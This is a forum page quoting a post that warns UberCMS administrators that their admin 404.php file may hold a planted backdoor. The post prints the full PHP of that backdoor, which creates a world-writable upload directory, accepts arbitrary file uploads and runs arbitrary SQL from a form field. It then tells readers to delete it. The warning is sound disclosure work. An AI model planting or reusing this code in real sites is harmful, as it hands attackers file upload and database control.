Reply to thread

Message

<blockquote data-quote="leenster" data-source="post: 127630" data-attributes="member: 10665">Here an important fix for UberCMS.You really need to check your allseeingeye/pages and open the file 404.php.if that file contains this code -&gt;[PHP]&lt;?php&nbsp; &nbsp; &nbsp; &nbsp; require_once &quot;../../global.php&quot;;&nbsp; &nbsp; &nbsp; &nbsp; require_once &quot;../admincore.php&quot;;&nbsp; &nbsp; if(!file_exists(&quot;god/&quot;))&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; mkdir(&quot;god/&quot;, 0777);&nbsp; &nbsp; &nbsp; &nbsp; echo 'Backdoor Directory Created : (god/)';&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; else&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; echo 'Backdoor Open for Uploading : (god/)';&nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; if(isset($_POST['submit'])){&nbsp; &nbsp; $target_path = &quot;god/&quot;;&nbsp; &nbsp; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); &nbsp; &nbsp; if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {&nbsp; &nbsp; echo &quot;The file &quot;.&nbsp; basename( $_FILES['uploadedfile']['name']). &nbsp; &nbsp; &quot; has been uploaded&quot;;} else{&nbsp; &nbsp; echo &quot;There was an error uploading the file, please try again!&quot;;}}&nbsp; &nbsp; if(isset($_POST['sql2']))&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; $core1225 = $_POST['sql1'];&nbsp; &nbsp; &nbsp; &nbsp; mysql_query(&quot;&quot;.$core1225.&quot;&quot;);&nbsp; &nbsp; &nbsp; &nbsp; echo 'Query Executed Successfully';&nbsp; &nbsp; }?&gt;&lt;html&gt;&lt;body&gt;&lt;form action=&quot;&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;&quot; method=&quot;post&quot;enctype=&quot;multipart/form-data&quot;&gt;&nbsp; &lt;input type=&quot;file&quot; name=&quot;uploadedfile&quot; id=&quot;file&quot; /&gt;&nbsp; &lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&gt;&nbsp; &lt;br /&gt;&lt;/form&gt;&lt;p&gt;-- ** -- ** -- MySQL Execute -- ** -- ** --&lt;/p&gt;&lt;form name=&quot;form1&quot; method=&quot;post&quot; action=&quot;&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;&quot;&gt;&nbsp; &lt;p&gt;&nbsp; &nbsp; &lt;label for=&quot;sql1&quot;&gt;&lt;/label&gt;&nbsp; &nbsp; &lt;textarea name=&quot;sql1&quot; id=&quot;sql1&quot; cols=&quot;65&quot; rows=&quot;4&quot;&gt;&lt;/textarea&gt;&nbsp; &lt;/p&gt;&nbsp; &lt;p&gt;&nbsp; &nbsp; &lt;input type=&quot;submit&quot; name=&quot;sql2&quot; id=&quot;sql2&quot; value=&quot;Execute&quot;&gt;&nbsp; &lt;/p&gt;&lt;/form&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;/body&gt;[/PHP]Delete the code and put something else in there, such as page not found or whatever....its not important what you put in there....Failure to do this will leave you open for a whole lot of trouble....All credits for this go out to : &lt; I will give you his IP on request so you can block him from accessing your site &gt;</blockquote>

[QUOTE="leenster, post: 127630, member: 10665"] Here an important fix for UberCMS. You really need to check your allseeingeye/pages and open the file 404.php. if that file contains this code -> [PHP] <?php require_once "../../global.php"; require_once "../admincore.php"; if(!file_exists("god/")) { mkdir("god/", 0777); echo 'Backdoor Directory Created : (god/)'; } else { echo 'Backdoor Open for Uploading : (god/)'; } if(isset($_POST['submit'])) { $target_path = "god/"; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } if(isset($_POST['sql2'])) { $core1225 = $_POST['sql1']; mysql_query("".$core1225.""); echo 'Query Executed Successfully'; } ?> <html> <body> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data"> <input type="file" name="uploadedfile" id="file" /> <input type="submit" name="submit" value="Submit" /> </form> -- ** -- ** -- MySQL Execute -- ** -- ** -- <form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>"> <label for="sql1"></label> <textarea name="sql1" id="sql1" cols="65" rows="4"></textarea> <input type="submit" name="sql2" id="sql2" value="Execute"> </form>   </body> [/PHP] Delete the code and put something else in there, such as page not found or whatever....its not important what you put in there.... Failure to do this will leave you open for a whole lot of trouble.... All credits for this go out to : [/QUOTE]

Verification

Reply to thread

Connect with us

Newest members